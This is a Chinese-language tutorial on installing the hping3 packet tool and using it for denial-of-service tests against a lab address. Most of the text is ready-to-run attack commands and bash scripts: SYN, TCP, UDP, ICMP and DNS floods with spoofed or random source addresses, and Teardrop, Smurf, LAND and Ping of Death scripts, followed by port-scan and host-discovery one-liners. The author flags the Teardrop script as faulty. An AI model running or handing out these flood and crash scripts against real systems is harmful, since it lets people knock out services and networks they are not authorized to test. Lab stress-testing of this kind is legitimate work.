hping3使用介绍及DoS测试

安装教程

$ yum -y install libpcap-devel tcl-devel
$ yum groupinstall development tools -y
# 创建软链接,避免找不到bpf.h⽂件,推荐带上这步
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
# 下载
$ wget http://www.hping.org/hping3-20051105.tar.gz
# 解压
$ tar zxvf hping3-20051105.tar.gz
# 进⼊
$ cd hping3-20051105
$ vim bytesex.h
# 加上 || defined(__x86_64__) \
#if     defined(__i386__) \
        || defined(__x86_64__) \
        || defined(__alpha__) \
        || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))
#define BYTE_ORDER_LITTLE_ENDIAN
#elif   defined(__mc68000__) \
        || defined (__sparc__) \
        || defined (__sparc) \
        || defined (__PPC__) \
        || defined (__BIG_ENDIAN__) \
        || (defined(__mips__) && (defined(MIPSEB) || defined (__MIPSEB__)))
#define BYTE_ORDER_BIG_ENDIAN
#else
# error can not find the byte order for this architecture, fix bytesex.h
#endif
#endif /* ARS_BYTESEX_H */
#编译安装
$ ./configure
$ make
$ sudo make install

使用教程


hping3使用介绍

端口扫描
sudo hping3 -I eth1 -S 192.168.180.133 -p 80

SYN Flood
默认协议:tcp
默认端口:随机
默认源地址:攻击者本机IP地址

# 通过eth1,发送SYN报文到 192.168.180.133:80。伪造源地址为192.168.180.131,时间间隔1000us。
sudo hping3 -I eth1 -S 192.168.180.133 -p 80 -a 192.168.180.131 -i u1000

# 通过eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,时间间隔1000us。
sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000

# 通过 eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,洪水攻击。
# 洪水攻击,速率最快的攻击,不会显示数据和丢包的统计。
sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source --flood

sudo hping3 -c 1000 -d 120 -S -p 80 --flood --rand-source 192.168.180.133
sudo hping3 -S -P -U -p 80 --flood --rand-source 192.168.180.133

TCP Flood

sudo hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133


UDP Flood
# 发送udp报文到192.168.180.133:80
sudo hping3 --udp 192.168.180.133 -p 80

# 发送 udp 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。
sudo hping3 --udp 192.168.180.133 -p 80 --rand-source --flood

sudo hping3 --udp -s 6666 -p 53 -a 29.29.29.29 --flood 192.168.180.133


ICMP Flood
# 发送icmp报文到192.168.180.133
sudo hping3 --icmp 192.168.180.133

# 发送icmp报文到192.168.180.133,伪造随机源IP地址,供水攻击
sudo hping3 --icmp 192.168.180.133 --rand-source --flood

sudo hping3 -q -n -d 200 --icmp --flood -a 28.28.28.28 192.168.180.133


DNS Flood
# 发送udp报文到192.168.180.133:53 伪造随机源IP地址,洪水攻击
sudo hping3 --udp 192.168.180.133 -p 53 --rand-source --flood

Teardrop攻击

基于hping3的测试脚本

#!/bin/bash

function teardrop()
{
    local victim_ip=$1
    local id_begin=$2
    local id_end=$3

    for(( id=${id_begin}; id<${id_end}; id++))
    do
        hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag
        hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400
    done
}

teardrop $*

上述脚本测试有问题

Smurf攻击

保存成shell脚本执行格式如下:
sudo ./smurf.sh 192.168.180.133 192.168.180.2

#!/bin/bash

function smurf ( )
{
    local victim_ip=$1
    local broadcast_ip=$2
    hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
}

smurf $*

手动测试
sudo hping3 -1 -a 192.168.180.133 192.168.180.255


XMAS TREE攻击

sudo hping3 -SFRP 192.168.180.133

LAND攻击

LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃,这种攻击方法与SYN洪泛攻击并不相同

将下面代码保存为land.sh

#!/bin/bash

function land()
{
    local victim_ip=$1
    local victim_port=$2
    hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}

land $*

执行:sudo ./landhping3.sh 192.168.180.133 80
手动执行:sudo hping3 -n -S -p 80 -a 192.168.180.133 --flood 192.168.180.133


Ping of Death俗称"死ping"
其攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)

将下面代码保存为pingofdeath.sh

#!/bin/bash

function ping_of_death()
{
    local victim_ip=$1
    local id=186
    local data_size=1450
    let icmp_size=${data_size}+8
    hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag 

    for i in $(seq 50)
    do
        let offset=${i}*${icmp_size}
        hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset
    done
}

ping_of_death $*


执行:sudo ./pingofdeath.sh 192.168.180.133

ICMP测试

sudo hping3 -1 192.168.180.133

数据包跟踪

sudo hping3 --traceroute -V -1 www.qq.com

端口扫描

单端口扫描
sudo hping3 -I eth1 -p 22 -c 1 -S 192.168.180.133
返回的信息中含有flags=SA 表示端口是通的 SYN+ACK  ,如果返回flags=RA 则表示端口不通

多端口扫描
sudo hping3 -I eth1 -8 1-1024 192.168.180.133

返回结果如下:
kali@kali:~/Downloads/ddos/hping3test$ sudo hping3 -I eth1 -8 1-1024 192.168.180.133
Scanning 192.168.180.133 (192.168.180.133), port 1-1024
1024 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
All replies received. Done.
Not responding ports: (21 ftp) (22 ssh) (23 telnet) (25 smtp) (53 domain) (80 http) (111 sunrpc) (139 netbios-ssn) (445 microsoft-d) (512 exec) (513 login) (514 shell)


主机发现

for addr in $(seq 1 254);do hping3 192.168.180.$addr -c 1 --icmp >> result.txt & done


参考:
https://wp.baijinming.com/00/id=2576.html
https://man.linuxde.net/hping3
https://www.cnblogs.com/liuxinyustu/articles/12808972.html
https://mochazz.github.io/2017/07/23/hping3/
http://www.legendwolf.com/?id=57